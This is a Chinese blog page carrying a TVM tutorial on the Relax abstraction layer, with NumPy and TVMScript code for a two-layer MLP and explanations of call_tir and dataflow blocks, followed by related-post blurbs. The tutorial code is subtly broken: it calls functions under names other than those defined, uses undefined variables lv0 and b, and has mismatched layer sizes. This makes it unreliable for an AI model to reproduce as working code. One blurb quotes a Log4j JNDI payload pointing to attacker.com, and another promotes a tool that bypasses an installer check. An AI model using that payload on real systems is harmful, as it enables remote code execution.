【TVM教程】理解 Relax 抽象层

TVM Relax抽象层:动态深度学习模型编译与部署新范式 深度学习编译器是连接算法模型与硬件执行的关键桥梁,其核心在于将高级框架描述的计算图转换为高效的底层代码。传统静态编译方案在处理动态形状、可变输入和控制流时面临挑战,这推动了支持动态性的中间表示设计。TVM Relax抽象层通过引入符号形状、动态类型系统和交互式编译流程,为动态模型提供了原生支持,显著提升了编译灵活性和开发体验。该技术特别适用于自然语言处理中可变序列长度、动态路由网络等场景,通过call_tir机制将高层图优化与底层性能调优解耦,实现了从动态图描述到高性能硬件代码的端到端编译。Relax与Re 阅读详情

TVM 现已更新到 0.21.0 版本,TVM 中文文档已经和新版本对齐。

Apache TVM 是一个深度的深度学习编译框架,适用于 CPU、GPU 和各种机器学习加速芯片。

在线运行 TVM 学习教程→go.hyper.ai/PEh1Q

Relax 是 Apache TVM Unity 策略中使用的一种图抽象方式,用于对机器学习模型进行端到端的优化。Relax 的主要目标是描述机器学习模型的结构与数据流,包括模型不同部分之间的依赖关系与连接方式,以及如何在硬件上执行该模型。

端到端模型执行​

在本章节中,我们将以一个两层神经网络模型为例进行说明。该模型由两个线性操作和 ReLU 激活函数组成。

在这里插入图片描述

高层操作表示​

我们先来看一个使用 Numpy 实现的高层模型代码:

def numpy_mlp(data, w0, b0, w1, b1):
    lv0 = data @ w0 + b0
    lv1 = np.maximum(lv0, 0)
    lv2 = lv1 @ w1 + b1
    return lv2

上述代码展示了如何使用数组操作进行端到端模型的执行。当然,我们也可以用 Relax 重写上述模型:

from tvm.script import relax as R

@R.function
def relax_mlp(
    data: R.Tensor(("n", 784), dtype="float32"),
    w0: R.Tensor((784, 128), dtype="float32"),
    b0: R.Tensor((128,), dtype="float32"),
    w1: R.Tensor((128, 10), dtype="float32"),
    b1: R.Tensor((10,), dtype="float32"),
) -> R.Tensor(("n", 10), dtype="float32"):
    with R.dataflow():
        lv0 = R.matmul(data, w0) + b0
        lv1 = R.nn.relu(lv0)
        lv2 = R.matmul(lv1, w1) + b1
        R.output(lv2)
    return lv2

底层集成​

然而,从机器学习编译(MLC)的角度来看,我们还希望深入了解这些数组操作背后的底层细节。

为此,我们会使用更底层的 Numpy 实现方式进行说明:

我们将使用循环来代替数组函数,在必要时显式使用 numpy.empty 来分配数组,并进行传递。下面是该模型的底层 NumPy 实现示例:

def lnumpy_linear(X: np.ndarray, W: np.ndarray, B: np.ndarray, Z: np.ndarray):
    n, m, K = X.shape[0], W.shape[1], X.shape[1]
    Y = np.empty((n, m), dtype="float32")
    for i in range(n):
        for j in range(m):
            for k in range(K):
                if k == 0:
                    Y[i, j] = 0
                Y[i, j] = Y[i, j] + X[i, k] * W[k, j]

    for i in range(n):
        for j in range(m):
            Z[i, j] = Y[i, j] + B[j]


def lnumpy_relu0(X: np.ndarray, Y: np.ndarray):
    n, m = X.shape
    for i in range(n):
        for j in range(m):
            Y[i, j] = np.maximum(X[i, j], 0)

def lnumpy_mlp(data, w0, b0, w1, b1):
    n = data.shape[0]
    lv0 = np.empty((n, 128), dtype="float32")
    lnumpy_matmul(data, w0, b0, lv0)

    lv1 = np.empty((n, 128), dtype="float32")
    lnumpy_relu(lv0, lv1)

    out = np.empty((n, 10), dtype="float32")
    lnumpy_matmul(lv1, w1, b1, out)
    return out

了解了这个底层的 NumPy 示例后,我们现在可以介绍对应的 Relax 抽象形式,用于端到端模型的执行。以下代码展示了使用 TVMScript 实现的同一模型:

@I.ir_module
class Module:
    @T.prim_func(private=True)
    def linear(x: T.handle, w: T.handle, b: T.handle, z: T.handle):
        M, N, K = T.int64(), T.int64(), T.int64()
        X = T.match_buffer(x, (M, K), "float32")
        W = T.match_buffer(w, (K, N), "float32")
        B = T.match_buffer(b, (N,), "float32")
        Z = T.match_buffer(z, (M, N), "float32")
        Y = T.alloc_buffer((M, N), "float32")
        for i, j, k in T.grid(M, N, K):
            with T.block("Y"):
                v_i, v_j, v_k = T.axis.remap("SSR", [i, j, k])
                with T.init():
                    Y[v_i, v_j] = T.float32(0.0)
                Y[v_i, v_j] = Y[v_i, v_j] + X[v_i, v_k] * W[v_k, v_j]
        for i, j in T.grid(M, N):
            with T.block("Z"):
                v_i, v_j = T.axis.remap("SS", [i, j])
                Z[v_i, v_j] = Y[v_i, v_j] + B[v_j]

    @T.prim_func(private=True)
    def relu(x: T.handle, y: T.handle):
        M, N = T.int64(), T.int64()
        X = T.match_buffer(x, (M, N), "float32")
        Y = T.match_buffer(y, (M, N), "float32")
        for i, j in T.grid(M, N):
            with T.block("Y"):
                v_i, v_j = T.axis.remap("SS", [i, j])
                Y[v_i, v_j] = T.max(X[v_i, v_j], T.float32(0.0))

    @R.function
    def main(
        x: R.Tensor(("n", 784), dtype="float32"),
        w0: R.Tensor((784, 256), dtype="float32"),
        b0: R.Tensor((256,), dtype="float32"),
        w1: R.Tensor((256, 10), dtype="float32"),
        b1: R.Tensor((10,), dtype="float32")
    ) -> R.Tensor(("n", 10), dtype="float32"):
        cls = Module
        n = T.int64()
        with R.dataflow():
            lv = R.call_tir(cls.linear, (x, w0, b0), out_sinfo=R.Tensor((n, 256), dtype="float32"))
            lv1 = R.call_tir(cls.relu, (lv0,), out_sinfo=R.Tensor((n, 256), dtype="float32"))
            lv2 = R.call_tir(cls.linear, (lv1, w1, b1), out_sinfo=R.Tensor((b, 10), dtype="float32"))
            R.output(lv2)
        return lv2

上面的代码包括两类函数:原始张量函数(T.prim_func)和 Relax 函数(R.function)。Relax 函数是一种新型抽象,用于表示高层神经网络的执行过程。

请注意,上述 Relax 模块原生支持符号形状(symbolic shape),如 main 函数中张量形状里的"n",以及 linear 函数中的 M、N、K。这是 Relax 抽象层的一项关键特性,使得编译器能够在张量操作符和函数调用之间,全局追踪动态形状关系。

再次并排查看 TVMScript 代码与底层 numpy 代码,并检查它们之间的对应关系是非常有帮助的,我们将逐步详细地分析它们。由于我们已经学习了基本的张量函数,这里我们将重点关注高层执行部分。

Relax 的关键元素​

本节将介绍 Relax 抽象的关键元素,以及它如何在机器学习编译器中实现优化。

结构信息​

结构信息(Structure Info)是 Relax 中的一个新概念,用于表示 Relax 表达式的类型。它可以是 TensorStructInfo、TupleStructInfo 等等。在前面的例子中,我们使用 TensorStructInfo(在 TVMScript 中简写为 R.Tensor)来表示输入、输出和中间结果张量的形状和数据类型。

R.call_tir​

R.call_tir 是 Relax 中的新抽象,用于在同一个 IRModule 中调用底层的原始张量函数(primitive tensor functions)。这是 Relax 支持跨层抽象的一个关键特性,它使得我们可以从高层的神经网络层调用到低层的张量操作。以下是一个来自上文代码的示例:

lv = R.call_tir(cls.linear, (x, w0, b0), out_sinfo=R.Tensor((n, 256), dtype="float32"))

为了说明 R.call_tir 是如何工作的,我们来看一个等效的低层 numpy 实现:

lv0 = np.empty((n, 256), dtype="float32")
lnumpy_linear(x, w0, b0, lv0)

具体来说,call_tir 会先分配一个输出张量 res,然后将输入和输出一起传入 prim_func。执行 prim_func 后,结果会被写入 res,然后返回该结果。

这种约定被称为destination passing(目标传递), 其思想是输入与输出张量都在外部显式分配,然后传入低层函数。这种风格在底层库设计中非常常见,便于高层框架自行控制内存的分配。需要注意的是,并非所有张量操作都适用于这种风格(特别是当输出形状依赖于输入时)。尽管如此,在实际使用中,尽量采用这种风格编写低层函数通常是很有益的。

数据流块​

在 Relax 函数中另一个重要元素是 R.dataflow() 的作用域注解。

with R.dataflow():
    lv = R.call_tir(cls.linear, (x, w0, b0), out_sinfo=R.Tensor((n, 256), dtype="float32"))
    lv1 = R.call_tir(cls.relu, (lv0,), out_sinfo=R.Tensor((n, 256), dtype="float32"))
    lv2 = R.call_tir(cls.linear, (lv1, w1, b1), out_sinfo=R.Tensor((b, 10), dtype="float32"))
    R.output(lv2)

在讨论 dataflow block 之前,我们先介绍 纯函数(pure) 和 有副作用(side-effect) 的概念。

如果一个函数满足以下条件,就可以被认为是纯函数或无副作用的:

  • 它只读取输入,并通过输出返回结果;
  • 它不会更改程序的其他部分(例如增加全局计数器的值)。

例如,所有 R.call_tir 的函数都是纯函数,因为它们只从输入读取数据,并将结果写入新分配的输出张量中。然而,inplace 操作(就地修改) 则不属于纯函数,即具有副作用的函数,因为它们会修改已有的中间或输入张量。

数据流块(Dataflow block)是一种用于标记程序中计算图区域的方式。特别地,在数据流块中,所有操作都必须是无副作用的;而在数据流块之外的操作则可以具有副作用。

备注

一个常见问题是:为什么我们需要手动标记数据流块,而不是自动推断?

主要有两个原因:

  • 自动推断数据流块很困难,尤其是当涉及到对打包函数(如 cuBLAS 的集成调用)时容易出现不准确。手动标记数据流块可以帮助编译器更准确地理解程序的数据流结构并进行优化。
  • 许多优化只能在数据流块中进行。例如,算子融合(fusion)优化仅限于单个数据流块中的操作。如果编译器错误地推断了数据流边界,可能会错过关键的优化机会,从而影响程序性能。

通过手动标记数据流块,我们可以确保编译器拥有最准确的信息,从而实现更有效的优化。

TVM Relax抽象层:动态深度学习模型编译的新范式 深度学习编译器是连接神经网络模型与多样化硬件后端的关键技术,其核心在于通过中间表示(IR)实现计算图的高效优化与代码生成。传统基于静态计算图的IR(如TVM Relay)在处理动态形状、复杂控制流等场景时面临挑战。TVM Relax作为新一代IR抽象层,通过引入“符号形状”和程序式语义,将计算范式从“计算图”扩展到“计算程序”,支持显式的If-Then-Else条件分支和While循环结构。这一设计使编译器能够更自然地表达运行时数据依赖关系,为动态模型(如变长序列处理、条件计算图)提供原生支持,同时保持与底 阅读详情

相关推荐

TVM Relax抽象层深度解析:从动态形状到控制流的IR设计

编译器中间表示(IR)是机器学习编译优化的核心枢纽。传统静态图IR在处理动态形状、复杂控制流时往往捉襟见肘,难以兼顾表达灵活性与分析透明度。TVM团队为此设计了Relax,一个更贴近高层框架、支持符号形状与显式控制流的可解析IR。它通过函数式、数据流、张量三层抽象,将纯计算与控制流清晰分离,既保留了数据流块内的高效优化潜力,又允许运行时基于实际形状动态调度分支,从而显著简化了变长序列、多模态模型等场景的编译流程。本文从工程实践视角出发,解析Relax的设计动机与三级抽象机制,通过TVMScript示例展示如

weixin_33937778的博客 360

「TVM教程」理解 Relax 抽象层

TVM 现已更新到 0.21.0 版本,TVM 中文文档已经和新版本对齐。Apache TVM 是一个深度的深度学习编译框架,适用于 CPU、GPU 和各种机器学习加速芯片。在线运行 TVM 学习教程→Relax 是 Apache TVM Unity 策略中使用的一种图抽象方式,用于对机器学习模型进行端到端的优化。Relax 的主要目标是描述机器学习模型的结构与数据流,包括模型不同部分之间的依赖关系与连接方式,以及如何在硬件上执行该模型。wp:heading。

HyperAI超神经 215

mlc-llm:大语言模型跨平台高效部署的机器学习编译框架

机器学习编译(MLC)是一种将深度学习模型从高级框架表示转换为针对特定硬件优化的低级代码的技术。其核心原理在于通过中间表示(IR)实现硬件无关的抽象,再通过图级优化(如算子融合)和张量级优化(如循环变换)来最大化目标硬件的计算效率。这项技术的价值在于解决了模型部署中的硬件生态碎片化问题,使得单一模型能够在多种设备上高效运行,显著降低了多平台部署的复杂性和成本。其应用场景广泛,从云端服务器到边缘设备、移动终端乃至Web浏览器,都能通过编译优化获得接近原生的推理性能。本文聚焦的mlc-llm项目,正是这一技术在

weixin_42626599的博客 644

TVM Relax:重塑深度学习编译器的抽象层设计

深度学习编译器的发展,始终绕不开中间表示(IR)的设计——它决定了优化能走多远,表达能力能有多强。传统图IR擅长表达静态数据流,但在动态形状、复杂控制流和训练场景面前常显乏力。为此,TVM社区推出了Relax,一个重新审视机器学习编译抽象层次的新方案。Relax通过StructInfo统一类型、形状与存储信息,以dataflow块隔离纯计算与副作用,借助符号形状和运行时绑定机制应对动态形状难题。它将结构、算子和执行分层管理,既能描述计算图,也能表达闭包回调等高阶结构,配合Relax VM实现灵活高效的执行。

weixin_33957648的博客 470

从零开始学习 Go 1.25 编程

今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀

sinat_25548781的博客 93

让 AI 变聪明的 20 条指令:如何让大模型回答得更精准、更专业、更实事求是

让 AI 变聪明,本质上不是写几句神奇咒语,而是把你的任务表达得更清楚,把事实标准设得更严格,把输出格式规定得更明确,把不确定性管理得更认真,把历史对话利用得更充分。大模型的强项是语言生成、信息组织、模式归纳和方案扩展;弱项是事实核验、实时更新、责任判断和对模糊意图的准确猜测。好的指令,就是在用人的判断弥补模型的弱点,让模型把强项发挥在正确的地方。

Sumarua的博客 1494

TVM Relax抽象层深度解析:从Relay到下一代编译IR

中间表示(IR)是深度学习编译器的核心抽象层,它决定了图优化与代码生成的边界。传统静态图IR受限于变量不可变和粗粒度算子,难以高效表达复杂控制流与精细优化。TVM推出的Relax应运而生,通过引入可变变量、DataflowBlock与BindingBlock分层、纯度标注等机制,重新定义了计算意图与实现细节的边界。这种抽象不仅让图优化pass获得更安全的改写能力,还为算子融合、内存复用等场景提供了更大自由度。在实际部署中,Relax能够灵活处理动态shape、自定义融合策略以及与TensorIR的衔接(如c

weixin_33875839的博客 375

基于深度学习卷积神经网络的医学图像乳腺癌分类

一、项目背景与意义乳腺癌是女性最常见的恶性肿瘤之一,其早期发现和治疗对于提高患者的生存率和生活质量至关重要。然而,乳腺癌的诊断通常依赖于医生的经验和主观判断,这不仅耗时而且可能存在误差。近年来,深度学习技术特别是卷积神经网络(CNN)在图像处理领域取得了显著进展,为乳腺癌的自动分类提供了新的解决方案。本项目旨在利用深度学习卷积神经网络构建一套高效、准确的医学图像乳腺癌分类系统,辅助医生进行乳腺癌的早期诊断和治疗。二、技术实现。

2301_79810943的博客 976

TVM Relax 变换 Pass 体系全解析:tvm.relax.transform 模块指南

`tvm.relax.transform` 是 Apache TVM Relax 前端(面向大模型、可微分 IR 的下一代 IR)的核心变换模块,负责将高层级 Relax 程序逐级下探到可执行的 TIR PrimFunc,并承担算子融合、自动微分、布局转换、混合精度、内存规划、外部代码生成(BYOC)等关键优化。本文以仓库中 [docs/reference/api/python/relax/tra

gitblog_00375的博客 248

OpenCV机械臂手眼标定

这篇文章总结了手眼标定的原理,利用OpenCV自带的函数套用参数即可完成眼在手上和眼在手外两种标定。

Q先森的博客 6590

TI 实时操作系统SYS/BIOS使用总结

1:概述: SYS/BIOS 是一个可扩展的实时的操作系统。具有非常快速的响应时间(在中断和任务切换时达到较短的延迟),响应时间的确定性,强壮的抢占系统,优化的内存分配和堆栈管理(尽量少的消耗和碎片)。能够实现系统的模块化并可裁剪。 最大的特点就是:实时。 2:XDCtools: XDCtools 是SYS/BIOS引用的一种实时的软件组件技术(RTSC),它包括一些有用的工具,标准的AP

带头奋青的博客 5万+

TVM Relax BlockBuilder 完全指南:用 Python 构建 Relax IR 的开发者 API

本指南基于 Apache TVM 开源仓库中的 [docs/reference/api/python/relax/block_builder.rst](https://link.gitcode.com/i/744b70f62959583a2a594a3c8f25c74a) 文档,深入讲解 Relax 框架的核心开发者 API——`tvm.relax.block_builder`。它适合想要绕过 T

gitblog_00058的博客 363

Win本地部署DeepSeek

Ollama 提供了简单的接口,用于创建、运行和管理这些模型,同时还维护了一个丰富的预构建模型库,可以轻松集成到各种应用程序中。重启ollama,具体操作为打开搜索ollama进程,将其结束进程,之后再执行相关模型下载命令即可,或重启电脑!Ollama支持多种DeepSeek模型版本,用户可以根据硬件配置选择合适的模型。配置添加系统环境变量OLLAMA_MODELS,设置其值为新的路径,点击确定应用。安装完成后,在终端输入以下命令,检查Ollama版本。:14B、32B或70B版本,适合高端GPU。

m0_67297673的博客 2391

TVM Relax深度解析:从程序抽象到动态形状与多后端混编

在深度学习编译器领域,计算图的中间表示(IR)决定了优化能力的上限。传统图IR如Relay擅长表达静态的算子依赖关系,但在内存分配、控制流和动态形状等“执行语义”层面存在明显短板。TVM Relax的提出,正是将抽象层级从“数据流图”升级为带执行语义的“程序表示”,让编译器能显式处理内存生命周期、设备切换和运行时函数调用。它通过DataflowBlock保证无副作用优化,结合ShapeExpr实现动态维度推理,并借助call_packed实现多后端无缝混编。这项技术不仅适用于静态网络部署,更支撑起动态bat

weixin_34199405的博客 405

CLCD 中国生命周期基础数据库使用攻略

CLCD 是公共建筑碳排放计算的理想选择,其本地化数据可显著提高计算准确性。

hy行者勇哥的博客 2686

【图像去噪】论文复现:超分思想助力荧光显微图像自监督去噪!N2SR的Pytorch源码复现,图文详细教程跑通源码,框架结构原理示意图与代码对应,注释详细,补充三个实用功能代码!

论文题目:Noise2SR: Learning to Denoise from Super-Resolved Single Noisy Fluorescence Image —— Noise2SR:从超分辨率单噪声荧光图像中学习去噪【图像去噪】论文精读:Noise2SR: Learning to Denoise from Super-Resolved Single Noisy Fluorescence Image(N2SR)N2SR框架结构和原理都比较简单,创新点是加入超分,有很多类似的自监督框架;

主要更新底层视觉(去噪、超分等)相关的科研内容,形式为【论文精读】+【论文复现】 632

TVM Relax 算子融合架构全解析:FuseOps、FuseTIR 与 FuseOpsByPattern 的协同工作

算子融合(Operator Fusion)是 TVM 编译栈中收益最显著的优化之一:与其为 conv2d、bias_add、relu 每个算子各自启动一次内核,不如把它们合并进同一个内核,从而消除中间张量的内存分配与内核启动开销。本文以 [docs/arch/fusion.rst](https://link.gitcode.com/i/d44800b2cd4a3774a0aafd42c26bc20

gitblog_00023的博客 281

Qt C++ 信号发生器控制软件

waveformComboBox->addItems({"正弦波", "方波", "三角波", "锯齿波", "脉冲波"});frequencyLabel = new QLabel("频率 (Hz):");amplitudeLabel = new QLabel("幅值 (V):");offsetLabel = new QLabel("直流偏移 (V):");} else if (currentWaveform == "三角波") {} else if (currentWaveform == "方波") {

寒寒豆豆软件公司的博客 125

Hermes 优化器设计解析:Pass 体系、Analysis 缓存与三类 IR 变换

> 本指南以 [doc/Optimizer.md](https://link.gitcode.com/i/5fbfb9496f8e0ec6cc81f3a205473ff0) 为核心,系统讲解 Hermes 编译器优化器的整体设计。Hermes 是专为 React Native 场景打造的 JavaScript 引擎,其优化器负责把 Hermes IR 变换为更高效、且严格保持程序语义的表示。读完本

gitblog_00085的博客 200

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 375

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 422

邓明 Agent 系统面试-意图识别学习笔记

不要只是做意图识别而不做测评,就好像要评估 RAG 准确性,在接口服务要测试响应时延,超时控制等等,这里也要关注意图识别准确率,如果面试官认为项目指标太高是在吹牛,关键就是回答因为 Agent 解决的是特定领域的意图识别,识别场景单一,另外就是因为用户输入相对简单。意图识别影响 prompt/spec 的加载,意图识别影响上下文组织,意图识别影响工具选择,意图识别影响 prompt 建议,意图识别得到的意图不是让模型随机生成而是候选类别里去做选择。2.意图识别的原因,以及意图识别得到的是什么?

m0_57222081的博客 215

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 200

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 361

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 166

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 198
上一篇: 在线教程丨Qwen3.5 27B蒸馏Claude 4.6 Opus推理能力,兼顾高质量输出与低门槛部署
下一篇: 【Triton 教程】triton-ops
HyperAI超神经
博客等级 码龄7年 8873粉丝 1753原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值